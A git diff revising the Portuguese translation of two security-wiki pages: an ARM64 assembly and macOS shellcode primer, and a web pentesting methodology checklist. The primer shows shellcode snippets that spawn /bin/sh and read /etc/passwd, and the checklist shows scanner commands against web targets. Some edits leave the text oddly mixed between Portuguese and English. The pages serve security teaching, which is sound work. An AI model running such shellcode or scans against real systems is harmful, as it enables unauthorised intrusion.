-mov x8, 93  ; Carrega o número da chamada de sistema para sair (93) no registrador x8.
-mov x0, 0   ; Carrega o código de status de saída (0) no registrador x0.
-svc 0       ; Faz a chamada de sistema.
+mov x8, 93  ; Load the system call number for exit (93) into register x8.
+mov x0, 0   ; Load the exit status code (0) into register x0.
+svc 0       ; Make the system call.
 ```
 
-### **Prólogo da Função**
+### **Prologue da Função**
 
-1. **Salvar o registrador de link e o ponteiro de quadro na pilha**:
+1. **Salvar o link register e o frame pointer na stack**:
 ```armasm
 stp x29, x30, [sp, #-16]!  ; store pair x29 and x30 to the stack and decrement the stack pointer
 ```
-2. **Configurar o novo ponteiro de quadro**: `mov x29, sp` (configura o novo ponteiro de quadro para a função atual)  
-3. **Alocar espaço na pilha para variáveis locais** (se necessário): `sub sp, sp, <size>` (onde `<size>` é o número de bytes necessários)  
+2. **Configurar o novo ponteiro de quadro**: `mov x29, sp` (configura o novo ponteiro de quadro para a função atual)
+3. **Alocar espaço na pilha para variáveis locais** (se necessário): `sub sp, sp, <size>` (onde `<size>` é o número de bytes necessários)
 
-### **Epilogo da Função**
+### **Epílogo da Função**
 
-1. **Desalocar variáveis locais (se alguma foi alocada)**: `add sp, sp, <size>`  
+1. **Desalocar variáveis locais (se tiverem sido alocadas)**: `add sp, sp, <size>`
 2. **Restaurar o registrador de link e o ponteiro de quadro**:
 ```armasm
 ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer
 ```
 3. **Return**: `ret` (retorna o controle para o chamador usando o endereço no registrador de link)
 
-## Estado de Execução AARCH32
+## AARCH32 Estado de Execução
 
-Armv8-A suporta a execução de programas de 32 bits. **AArch32** pode rodar em um dos **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
-Programas **privilegiados** de 64 bits podem agendar a **execução de programas de 32 bits** executando uma transferência de nível de exceção para o nível de privilégio inferior de 32 bits.\
-Note que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o **bit 4 de** **`SPSR_ELx`** registro especial **para 1** quando o thread do processo `AArch32` está pronto para ser executado e o restante de `SPSR_ELx` armazena o **CPSR** dos programas **`AArch32`**. Então, o processo privilegiado chama a instrução **`ERET`** para que o processador transite para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR**.**
+Armv8-A suporta a execução de programas de 32-bit. **AArch32** pode rodar em um de **dois conjuntos de instruções**: **`A32`** e **`T32`** e pode alternar entre eles via **`interworking`**.\
+Programas de 64-bit **privilegiados** podem agendar a **execução de programas de 32-bit** executando uma transferência de nível de exceção para o 32-bit com privilégio inferior.\
+Observe que a transição de 64-bit para 32-bit ocorre com um nível de exceção inferior (por exemplo um programa de 64-bit em EL1 disparando um programa em EL0). Isso é feito definindo o **bit 4 de** **`SPSR_ELx`** registrador especial **para 1** quando a thread do processo `AArch32` estiver pronta para ser executada e o restante de `SPSR_ELx` armazena o CPSR do programa **`AArch32`**. Então, o processo privilegiado chama a instrução **`ERET`** para que o processador transicione para **`AArch32`** entrando em A32 ou T32 dependendo do CPSR**.**
 
-O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente se traduz em configurar o **bit mais baixo para 1** para indicar que o conjunto de instruções é T32.\
-Isso é configurado durante as **instruções de ramificação de interworking**, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registrador de destino. Exemplo:
+O **`interworking`** ocorre usando os bits J e T do CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Isso basicamente equivale a definir o **bit menos significativo como 1** para indicar que o conjunto de instruções é T32.\
+Isso é definido durante as **instruções de desvio de interworking,** mas também pode ser definido diretamente com outras instruções quando o PC é definido como registrador de destino. Exemplo:
 
 Outro exemplo:
 ```armasm
@@ -262,62 +265,62 @@ bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
 mov r0, #0
 mov r0, #8
 ```
-### Registradores
+### Registers
 
-Existem 16 registradores de 32 bits (r0-r15). **De r0 a r14** eles podem ser usados para **qualquer operação**, no entanto, alguns deles geralmente são reservados:
+There are 16 32-bit registers (r0-r15). **From r0 to r14** they can be used for **any operation**, however some of them are usually reserved:
 
-- **`r15`**: Contador de programa (sempre). Contém o endereço da próxima instrução. Em A32 atual + 8, em T32, atual + 4.
-- **`r11`**: Ponteiro de quadro
-- **`r12`**: Registrador de chamada intra-procedimental
-- **`r13`**: Ponteiro de pilha
-- **`r14`**: Registrador de link
+- **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4.
+- **`r11`**: Frame Pointer
+- **`r12`**: Intra-procedural call register
+- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned)
+- **`r14`**: Link Register
 
-Além disso, os registradores são salvos em **`registries bancados`**. Que são lugares que armazenam os valores dos registradores permitindo realizar **mudanças de contexto rápidas** no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registradores toda vez.\
-Isso é feito **salvando o estado do processador do `CPSR` para o `SPSR`** do modo do processador ao qual a exceção é gerada. Ao retornar da exceção, o **`CPSR`** é restaurado do **`SPSR`**.
+Moreover, registers are backed up in **`banked registries`**. Which are places that store the registers values allowing to perform **fast context switching** in exception handling and privileged operations to avoid the need to manually save and restore registers every time.\
+This is done by **saving the processor state from the `CPSR` to the `SPSR`** of the processor mode to which the exception is taken. On the exception returns, the **`CPSR`** is restored from the **`SPSR`**.
 
-### CPSR - Registrador de Status do Programa Atual
+### CPSR - Current Program Status Register
 
-Em AArch32, o CPSR funciona de forma semelhante ao **`PSTATE`** em AArch64 e também é armazenado em **`SPSR_ELx`** quando uma exceção é gerada para restaurar a execução posteriormente:
+In AArch32 the CPSR works similar to **`PSTATE`** in AArch64 and is also stored in **`SPSR_ELx`** when a exception is taken to restore later the execution:
 
 <figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
 
-Os campos são divididos em alguns grupos:
+The fields are divided in some groups:
 
-- Registrador de Status do Programa de Aplicação (APSR): Flags aritméticas e acessíveis a partir do EL0
-- Registradores de Estado de Execução: Comportamento do processo (gerenciado pelo SO).
+- Application Program Status Register (APSR): Arithmetic flags and accesible from EL0
+- Execution State Registers: Process behaviour (managed by the OS).
 
-#### Registrador de Status do Programa de Aplicação (APSR)
+#### Application Program Status Register (APSR)
 
-- As flags **`N`**, **`Z`**, **`C`**, **`V`** (assim como em AArch64)
-- A flag **`Q`**: É definida como 1 sempre que **ocorre saturação inteira** durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como **`1`**, manterá o valor até ser manualmente definida como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, isso deve ser feito lendo-o manualmente.
-- Flags **`GE`** (Maior ou igual): É usada em operações SIMD (Single Instruction, Multiple Data), como "adição paralela" e "subtração paralela". Essas operações permitem processar múltiplos pontos de dados em uma única instrução.
+- The **`N`**, **`Z`**, **`C`**, **`V`** flags (just like in AArch64)
+- The **`Q`** flag: It's set to 1 whenever **integer saturation occurs** during the execution of a specialized saturating arithmetic instruction. Once it's set to **`1`**, it'll maintain the value until it's manually set to 0. Moreover, there isn't any instruction that checks its value implicitly, it must be done reading it manually.
+- **`GE`** (Greater than or equal) Flags: It's used in SIMD (Single Instruction, Multiple Data) operations, such as "parallel add" and "parallel subtract". These operations allow processing multiple data points in a single instruction.
 
-Por exemplo, a instrução **`UADD8`** **adiciona quatro pares de bytes** (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registrador de 32 bits. Em seguida, **define as flags `GE` no `APSR`** com base nesses resultados. Cada flag GE corresponde a uma das adições de bytes, indicando se a adição para aquele par de bytes **transbordou**.
+For example, the **`UADD8`** instruction **adds four pairs of bytes** (from two 32-bit operands) in parallel and stores the results in a 32-bit register. It then **sets the `GE` flags in the `APSR`** based on these results. Each GE flag corresponds to one of the byte additions, indicating if the addition for that byte pair **overflowed**.
 
-A instrução **`SEL`** usa essas flags GE para realizar ações condicionais.
+The **`SEL`** instruction uses these GE flags to perform conditional actions.
 
-#### Registradores de Estado de Execução
+#### Execution State Registers
 
-- Os bits **`J`** e **`T`**: **`J`** deve ser 0 e se **`T`** for 0, o conjunto de instruções A32 é usado, e se for 1, o T32 é usado.
-- **Registrador de Estado do Bloco IT** (`ITSTATE`): Esses são os bits de 10-15 e 25-26. Eles armazenam condições para instruções dentro de um grupo prefixado por **`IT`**.
-- Bit **`E`**: Indica a **endianness**.
-- Bits de Modo e Máscara de Exceção (0-4): Eles determinam o estado de execução atual. O **5º** indica se o programa está sendo executado como 32 bits (um 1) ou 64 bits (um 0). Os outros 4 representam o **modo de exceção atualmente em uso** (quando uma exceção ocorre e está sendo tratada). O número definido **indica a prioridade atual** caso outra exceção seja acionada enquanto esta está sendo tratada.
+- The **`J`** and **`T`** bits: **`J`** should be 0 and if **`T`** is 0 the instruction set A32 is used, and if it's 1, the T32 is used.
+- **IT Block State Register** (`ITSTATE`): These are the bits from 10-15 and 25-26. They store conditions for instructions inside an **`IT`** prefixed group.
+- **`E`** bit: Indicates the **endianness**.
+- **Mode and Exception Mask Bits** (0-4): They determine the current execution state. The **5th** one indicates if the program runs as 32bit (a 1) or 64bit (a 0). The other 4 represents the **exception mode currently in used** (when a exception occurs and it's being handled). The number set **indicates the current priority** in case another exception is triggered while this is being handled.
 
 <figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
 
-- **`AIF`**: Certas exceções podem ser desativadas usando os bits **`A`**, `I`, `F`. Se **`A`** for 1, significa que **aborts assíncronos** serão acionados. O **`I`** configura para responder a **Solicitações de Interrupção** de hardware externas (IRQs). e o F está relacionado a **Solicitações de Interrupção Rápida** (FIRs).
+- **`AIF`**: Certain exceptions can be disabled using the bits **`A`**, `I`, `F`. If **`A`** is 1 it means **asynchronous aborts** will be triggered. The **`I`** configures to respond to external hardware **Interrupts Requests** (IRQs). and the F is related to **Fast Interrupt Requests** (FIRs).
 
 ## macOS
 
-### Chamadas de sistema BSD
+### BSD syscalls
 
-Confira [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). Chamadas de sistema BSD terão **x16 > 0**.
+Check out [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) or run `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`. BSD syscalls will have **x16 > 0**.
 
-### Armadilhas Mach
+### Mach Traps
 
-Confira em [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) a `mach_trap_table` e em [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) os protótipos. O número máximo de armadilhas Mach é `MACH_TRAP_TABLE_COUNT` = 128. Armadilhas Mach terão **x16 < 0**, então você precisa chamar os números da lista anterior com um **menos**: **`_kernelrpc_mach_vm_allocate_trap`** é **`-10`**.
+Check out in [**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) the `mach_trap_table` and in [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) the prototypes. O número máximo de Mach traps é `MACH_TRAP_TABLE_COUNT` = 128. Mach traps will have **x16 < 0**, so you need to call the numbers from the previous list with a **minus**: **`_kernelrpc_mach_vm_allocate_trap`** is **`-10`**.
 
-Você também pode verificar **`libsystem_kernel.dylib`** em um desassemblador para encontrar como chamar essas (e BSD) chamadas de sistema:
+You can also check **`libsystem_kernel.dylib`** in a disassembler to find how to call these (and BSD) syscalls:
 ```bash
 # macOS
 dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
 # iOS
 dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
 ```
-Note que **Ida** e **Ghidra** também podem descompilar **dylibs específicas** do cache apenas passando pelo cache.
+Note que **Ida** e **Ghidra** também podem decompilar **dylibs específicos** do cache simplesmente passando o cache.
 
 > [!TIP]
-> Às vezes, é mais fácil verificar o código **descompilado** de **`libsystem_kernel.dylib`** **do que** verificar o **código-fonte** porque o código de várias syscalls (BSD e Mach) é gerado via scripts (ver comentários no código-fonte), enquanto na dylib você pode encontrar o que está sendo chamado.
+> Às vezes é mais fácil verificar o código **decompilado** de **`libsystem_kernel.dylib`** **do que** verificar o **código-fonte**, porque o código de várias syscalls (BSD e Mach) é gerado via scripts (ver comentários no código-fonte), enquanto no dylib você pode encontrar o que está sendo chamado.
 
-### chamadas machdep
+### machdep calls
 
-XNU suporta outro tipo de chamadas chamadas dependentes da máquina. Os números dessas chamadas dependem da arquitetura e nem as chamadas nem os números são garantidos para permanecer constantes.
+XNU suporta outro tipo de chamadas chamadas machine dependent. Os números dessas chamadas dependem da arquitetura e nem as chamadas nem os números são garantidos a permanecer constantes.
 
-### página comm
+### comm page
 
-Esta é uma página de memória de proprietário do kernel que está mapeada no espaço de endereços de cada processo de usuário. É destinada a tornar a transição do modo usuário para o espaço do kernel mais rápida do que usar syscalls para serviços do kernel que são usados tanto que essa transição seria muito ineficiente.
+Esta é uma página de memória pertencente ao kernel que é mapeada no address space de cada processo de usuário. Destina-se a tornar a transição do modo usuário para o kernel mais rápida do que usar syscalls para serviços do kernel que são usados com tanta frequência que essa transição seria muito ineficiente.
 
-Por exemplo, a chamada `gettimeofdate` lê o valor de `timeval` diretamente da página comm.
+Por exemplo a chamada `gettimeofdate` lê o valor de `timeval` diretamente da comm page.
 
 ### objc_msgSend
 
-É super comum encontrar essa função usada em programas Objective-C ou Swift. Essa função permite chamar um método de um objeto Objective-C.
+É muito comum encontrar essa função usada em programas Objective-C ou Swift. Essa função permite chamar um método de um objeto Objective-C.
 
-Parâmetros ([mais informações na documentação](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
+Parameters ([mais info na documentação](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
 
 - x0: self -> Ponteiro para a instância
-- x1: op -> Seletor do método
-- x2... -> Restante dos argumentos do método invocado
+- x1: op -> Selector do método
+- x2... -> Demais argumentos do método invocado
 
-Então, se você colocar um breakpoint antes da ramificação para essa função, pode facilmente encontrar o que está sendo invocado no lldb com (neste exemplo, o objeto chama um objeto de `NSConcreteTask` que irá executar um comando):
+Então, se você colocar um breakpoint antes do branch para essa função, você pode descobrir facilmente o que está sendo invocado no lldb com (neste exemplo o objeto chama um objeto de `NSConcreteTask` que irá executar um comando):
 ```bash
 # Right in the line were objc_msgSend will be called
 (lldb) po $x0
@@ -369,27 +372,27 @@ whoami
 )
 ```
 > [!TIP]
-> Definindo a variável de ambiente **`NSObjCMessageLoggingEnabled=1`** é possível registrar quando essa função é chamada em um arquivo como `/tmp/msgSends-pid`.
+> Ao definir a variável de ambiente **`NSObjCMessageLoggingEnabled=1`** é possível **log** quando essa função é chamada em um arquivo como `/tmp/msgSends-pid`.
 >
-> Além disso, definindo **`OBJC_HELP=1`** e chamando qualquer binário, você pode ver outras variáveis de ambiente que poderia usar para **logar** quando certas ações do Objc-C ocorrem.
+> Além disso, definindo **`OBJC_HELP=1`** e executando qualquer binário você pode ver outras variáveis de ambiente que poderia usar para **log** quando certas ações Objc-C ocorrem.
 
-Quando essa função é chamada, é necessário encontrar o método chamado da instância indicada, para isso, diferentes buscas são feitas:
+Quando essa função é chamada, é necessário encontrar o método chamado da instância indicada; para isso são feitas diferentes buscas:
 
-- Realizar busca otimista no cache:
-- Se bem-sucedido, feito
-- Adquirir runtimeLock (leitura)
-- Se (realize && !cls->realized) realizar classe
-- Se (initialize && !cls->initialized) inicializar classe
-- Tentar cache próprio da classe:
-- Se bem-sucedido, feito
-- Tentar lista de métodos da classe:
-- Se encontrado, preencher cache e feito
-- Tentar cache da superclasse:
-- Se bem-sucedido, feito
-- Tentar lista de métodos da superclasse:
-- Se encontrado, preencher cache e feito
-- Se (resolver) tentar resolvedor de método e repetir a busca da classe
-- Se ainda aqui (= tudo mais falhou) tentar forwarder
+- Perform optimistic cache lookup:
+- If successful, done
+- Acquire runtimeLock (read)
+- If (realize && !cls->realized) realize class
+- If (initialize && !cls->initialized) initialize class
+- Try class own cache:
+- If successful, done
+- Try class method list:
+- If found, fill cache and done
+- Try superclass cache:
+- If successful, done
+- Try superclass method list:
+- If found, fill cache and done
+- If (resolver) try method resolver, and repeat from class lookup
+- If still here (= all else has failed) try forwarder
 
 ### Shellcodes
 
@@ -408,7 +411,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
 echo -n '\\x'$c
 done
 ```
-Para versões mais recentes do macOS:
+Para macOS mais recentes:
 ```bash
 # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
 for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@@ -417,7 +420,7 @@ done
 ```
 <details>
 
-<summary>C código para testar o shellcode</summary>
+<summary>C code para testar o shellcode</summary>
 ```c
 // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
 // gcc loader.c -o loader
@@ -467,10 +470,10 @@ return 0;
 
 #### Shell
 
-Retirado de [**aqui**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) e explicado.
+Retirado de [**here**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) e explicado.
 
 {{#tabs}}
-{{#tab name="com adr"}}
+{{#tab name="with adr"}}
 ```armasm
 .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
 .global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@@ -487,7 +490,7 @@ sh_path: .asciz "/bin/sh"
 ```
 {{#endtab}}
 
-{{#tab name="com a pilha"}}
+{{#tab name="with stack"}}
 ```armasm
 .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
 .global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
@@ -518,7 +521,7 @@ svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter,
 ```
 {{#endtab}}
 
-{{#tab name="com adr para linux"}}
+{{#tab name="with adr for linux"}}
 ```armasm
 ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
 .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
@@ -539,7 +542,7 @@ sh_path: .asciz "/bin/sh"
 
 #### Ler com cat
 
-O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha dos endereços).
+O objetivo é executar `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, então o segundo argumento (x1) é um array de parâmetros (que na memória significa uma pilha de endereços).
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main
@@ -565,7 +568,7 @@ cat_path: .asciz "/bin/cat"
 .align 2
 passwd_path: .asciz "/etc/passwd"
 ```
-#### Invocar comando com sh de um fork para que o processo principal não seja encerrado
+#### Invocar comando com sh a partir de um fork para que o processo principal não seja morto
 ```armasm
 .section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
 .global _main              ; Declare a global symbol _main

src/network-services-pentesting/pentesting-web/README.md

@@ -4,7 +4,7 @@
 
 ## Informações Básicas
 
-O serviço web é o serviço mais **comum e abrangente** e existem muitos **tipos diferentes de vulnerabilidades**.
+O serviço web é o tipo de serviço mais **comum e abrangente** e há muitos **diferentes tipos de vulnerabilidades**.
 
 **Porta padrão:** 80 (HTTP), 443(HTTPS)
 ```bash
@@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Orientações para Web API
+### Diretrizes para Web API
 
 
 {{#ref}}
@@ -26,38 +26,38 @@ web-api-pentesting.md
 
 ## Resumo da metodologia
 
-> Nesta metodologia vamos supor que você vai atacar um domínio (ou subdomínio) e apenas esse. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com servidor web indeterminado dentro do escopo.
+> Nesta metodologia vamos supor que você vai atacar um domínio (ou subdomínio) e apenas esse. Portanto, você deve aplicar esta metodologia a cada domínio, subdomínio ou IP descoberto com servidor web não determinado dentro do escopo.
 
-- [ ] Comece **identificando** as **tecnologias** usadas pelo servidor web. Procure por **truques** para ter em mente durante o restante do teste se você conseguir identificar a tecnologia com sucesso.
-- [ ] Existe alguma **vulnerabilidade conhecida** da versão da tecnologia?
-- [ ] Usando alguma **tecnologia bem conhecida**? Algum **truque útil** para extrair mais informação?
-- [ ] Algum **scanner especializado** para rodar (como wpscan)?
-- [ ] Execute **scanners de propósito geral**. Você nunca sabe se eles vão encontrar algo ou alguma informação interessante.
-- [ ] Comece com as **verificações iniciais**: **robots**, **sitemap**, erro **404** e **SSL/TLS scan** (se HTTPS).
-- [ ] Start **spidering** the web page: É hora de **encontrar** todos os possíveis **files, folders** e **parameters being used.** Também verifique por **special findings**.
-- [ ] _Observe que toda vez que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser spidered._
-- [ ] **Directory Brute-Forcing**: Tente brute forcear todas as pastas descobertas procurando por novos **arquivos** e **diretórios**.
-- [ ] _Observe que toda vez que um novo diretório for descoberto durante brute-forcing ou spidering, ele deve ser Brute-Forced._
-- [ ] **Backups checking**: Teste se consegue encontrar **backups** de **discovered files** adicionando extensões comuns de backup.
+- [ ] Comece por **identificar** as **tecnologias** usadas pelo servidor web. Procure por **tricks** para ter em mente durante o resto do teste se você conseguir identificar a tech com sucesso.
+- [ ] Existe alguma **vulnerabilidade conhecida** na versão da tecnologia?
+- [ ] Está usando alguma **well known tech**? Algum **useful trick** para extrair mais informação?
+- [ ] Algum **specialised scanner** para executar (como wpscan)?
+- [ ] Execute **general purposes scanners**. Você nunca sabe se vão encontrar algo ou informações interessantes.
+- [ ] Comece com as **initial checks**: **robots**, **sitemap**, erro **404** e **SSL/TLS scan** (se HTTPS).
+- [ ] Comece **spidering** a página web: é hora de **encontrar** todos os possíveis **arquivos, pastas** e **parâmetros em uso.** Também verifique por **special findings**.
+- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
+- [ ] Directory Brute-Forcing: Tente fazer brute-force em todas as pastas descobertas procurando por novos **files** e **diretórios**.
+- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
+- [ ] **Verificação de backups**: Teste se você pode encontrar **backups** dos **arquivos descobertos** adicionando extensões de backup comuns.
 - [ ] **Brute-Force parameters**: Tente **encontrar parâmetros ocultos**.
-- [ ] Uma vez que você tenha **identificado** todos os possíveis **endpoints** que aceitam **user input**, verifique todos os tipos de **vulnerabilidades** relacionadas a eles.
+- [ ] Depois de ter **identificado** todos os possíveis **endpoints** que aceitam **user input**, verifique todos os tipos de **vulnerabilidades** relacionados a eles.
 - [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
 
-## Server Version (Vulnerable?)
+## Versão do servidor (Vulnerável?)
 
 ### Identificar
 
 Verifique se existem **vulnerabilidades conhecidas** para a **versão** do servidor que está em execução.\
-Os **HTTP headers e cookies da resposta** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** sendo usadas. **Nmap scan** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
+Os **HTTP headers and cookies of the response** podem ser muito úteis para **identificar** as **tecnologias** e/ou **versão** em uso. **Nmap scan** pode identificar a versão do servidor, mas também podem ser úteis as ferramentas [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:**
 ```bash
 whatweb -a 1 <URL> #Stealthy
 whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Search **for** [**vulnerabilidades da aplicação web** **versão**](../../generic-hacking/search-exploits.md)
+Pesquisar **por** [**vulnerabilidades da versão da aplicação web**](../../generic-hacking/search-exploits.md)
 
-### **Verificar se há algum WAF**
+### **Verificar se existe algum WAF**
 
 - [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
@@ -65,7 +65,7 @@ Search **for** [**vulnerabilidades da aplicação web** **versão**](../../gener
 
 ### Truques de tecnologias web
 
-Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologias** bem conhecidas usadas:
+Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologias** bem conhecidas em uso:
 
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
@@ -99,28 +99,27 @@ Alguns **truques** para **encontrar vulnerabilidades** em diferentes **tecnologi
 - [**WebDav**](put-method-webdav.md)
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
-- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
+- [**Electron Desktop (XSS para RCE)**](electron-desktop-apps/index.html)
 
-_Tenha em conta que o **mesmo domínio** pode estar usando **tecnologias diferentes** em **portas**, **pastas** e **subdomínios** diferentes._\
-Se a aplicação web estiver usando alguma **tecnologia/plataforma listada acima** ou **qualquer outra**, não se esqueça de **pesquisar na Internet** por novos truques (e me avise!).
+_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
+Se a aplicação web estiver usando qualquer **tech/platform conhecida listada acima** ou **outra qualquer**, não esqueça de **pesquisar na Internet** novos truques (e me avise!).
 
-### Revisão do Código-Fonte
+### Source Code Review
 
-Se o **código-fonte** da aplicação estiver disponível no **github**, além de realizar por **você mesmo um White box test** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **Black-Box testing**:
-
-- Existe um **Change-log ou Readme ou Version** ou qualquer coisa com **informação de versão acessível** via web?
-- Como e onde são armazenadas as **credentials**? Existe algum (acessível?) **arquivo** com credenciais (usernames ou passwords)?
-- As **passwords** estão em **plain text**, **encrypted** ou qual **hashing algorithm** está sendo usado?
-- Está usando alguma **master key** para criptografar algo? Qual **algorithm** está sendo usado?
-- Você pode **acessar algum desses arquivos** explorando alguma vulnerabilidade?
-- Há alguma **informação interessante no github** (issues resolvidas e não resolvidas)? Ou no **commit history** (talvez alguma **password** introduzida em um commit antigo)?
+Se o **código fonte** da aplicação estiver disponível no **github**, além de realizar por **si mesmo um teste White box** da aplicação, há **algumas informações** que podem ser **úteis** para o atual **Black-Box testing**:
 
+- Existe um **Change-log or Readme or Version** file ou qualquer coisa com **informação de versão acessível** via web?
+- Como e onde estão salvas as **credentials**? Existe algum (acessível?) **file** com credentials (nomes de usuário ou senhas)?
+- As **senhas** estão em **plain text**, **encrypted** ou qual **hashing algorithm** é usado?
+- Está a usar alguma **master key** para encriptar algo? Qual **algoritmo** é usado?
+- Você consegue **acessar algum desses arquivos** explorando alguma vulnerabilidade?
+- Existe alguma **informação interessante no github** (issues resolvidas ou não)? Ou no **commit history** (talvez alguma **senha** introduzida em um commit antigo)?
 
 {{#ref}}
 code-review-tools.md
 {{#endref}}
 
-### Scanners automáticos
+### Automatic scanners
 
 #### Scanners automáticos de propósito geral
 ```bash
@@ -136,10 +135,10 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 ```
 #### Scanners de CMS
 
-Se um CMS for usado, não esqueça de **executar um scanner**, talvez algo interessante seja encontrado:
+Se um CMS for usado, não se esqueça de **executar um scanner**, talvez algo interessante seja encontrado:
 
 [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites para problemas de segurança. (GUI)\  
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sites com problemas de segurança. (GUI)\
 [**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
 **CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **ou** [**(M)oodle**](moodle.md)\
 [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
@@ -149,11 +148,11 @@ wpscan --force update -e --url <URL>
 joomscan --ec -u <URL>
 joomlavs.rb #https://github.com/rastating/joomlavs
 ```
